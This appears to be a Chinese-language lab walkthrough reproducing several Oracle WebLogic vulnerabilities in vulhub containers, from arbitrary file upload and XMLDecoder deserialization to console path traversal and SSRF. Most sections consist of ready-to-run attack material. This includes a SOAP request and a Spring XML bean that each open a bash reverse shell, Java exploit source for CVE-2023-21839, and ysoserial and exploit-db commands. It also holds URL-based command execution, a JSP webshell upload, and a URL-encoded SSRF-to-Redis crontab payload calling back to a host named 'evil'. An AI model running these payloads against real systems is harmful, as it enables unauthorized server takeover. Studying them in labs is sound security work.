Weblogic漏洞复现
weblogic部分漏洞复现。复现过程学习于网上的网上师傅们的文章。这里不一一列举。
https://johnfrod.top/
https://vulhub.org/
环境均来源于 vulhub.https://vulhub.org/
CVE-2018-2894
这是一个任意文件上传漏洞。攻击者可通过上传jsp木马文件得到服务器权限。
漏洞条件
- 开启了Weblogic Web Service Test Page,此配置项默认是关闭的;
- 知道Web目录路径;
- Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3。
需要先将这几个进行配置
登录界面 http://192.168.56.130:7001/console
使用 docker compose logs | grep password 可以查看密码 账户名为weblogic

登陆进去 打开这一项

然后更改配置目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
目录设置为
ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
这里上传webshell

通过检查元素得到返回的时间戳.

http://192.168.56.130:7001/ws_utc/css/config/keystore/1695377578287_shell.jsp

成功get shell
CVE-2017-10271
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
启动容器后,访问7001端口。显示404代表启动成功了。
构造数据包
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.56.130/:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 636
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.56.129/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope
监听端口
nc -l -p 21
成功反弹shell

CVE-2023-21839
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
环境启动后。访问地址 http://192.168.56.130:7001/console/login/LoginForm.jsp

这里可以使用DXask88MA师傅或者4ra1n师傅的工具都可以 我go环境出了点问题 这里使用的是DXask88MA师傅的工具。
https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
演示打dnslog。
POC
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\n e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
下载好工具后执行命令
java -jar Weblogic-CVE-2023-21839.jar 192.168.56.130:7001 ldap://oje5hp.dnslog.cn

dnslog回显。漏洞验证成功。
CVE-2018-2628
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令
启动容器后 查看对应服务。

首先起一个JRMP Server 我这里使用的是kali演示。
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"

需要填写监听的端口 以及执行的命令。
使用这个exp脚本 https://www.exploit-db.com/exploits/44553
python2 CVE-2017-3248.py 192.168.56.130 7001 ysoserial-master-SNAPSHOT.jar 192.168.56.129 9999 JRMPClient

然后我们到dokcer里面去查看 确实成功创建了这个目录。

漏洞验证利用成功。
CVE-2020-14882
启动容器以后拼接URL /console/css/%252e%252e%252fconsole.portal,即可直接访问console后台
第一次访问会重定向到 /console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1 显示404界面。重新输入一次即可。
这个时候看到

但是这个时候权限较低 无法进行get shell操作。
CVE-2020-14883
此时需要使用CVE-2020-14883来执行命令。这个漏洞的利用方式有两种,一是通过
com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
访问以下 URL 链接 2 个漏洞并执行以下命令com.tangosol.coherence.mvel2.sh.ShellSession
http://192.168.56.130:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/white0123');")
查看确实成功创建了 white0123

也可以对在其中加入其他命令。
这种利用方法只能在Weblogic 12.2.1及以上版本中使用,因为10.3.6没有该类com.tangosol.coherence.mvel2.sh.ShellSession
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更常见的漏洞,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本。
要利用该漏洞FileSystemXmlApplicationContext
,您需要制作一个精心设计的 XML 文件并将其提供到 Weblogic 可以访问的服务器上.
POC
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.56.129/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
监听端口

然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令:
http://192.168.56.130:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.218.9.10/1.html")

此漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。需要在实战中进行公网构造。
CVE-2014-4210
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
搭建好环境以后。
直接访问 http://192.168.56.130:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。

SRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type
。

修改为不存在的端口

通过错误的不同,即可探测内网状态
通过HTTP注入 利用redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379
可以连通
构造反弹shell payload
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
URL编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功反弹shell
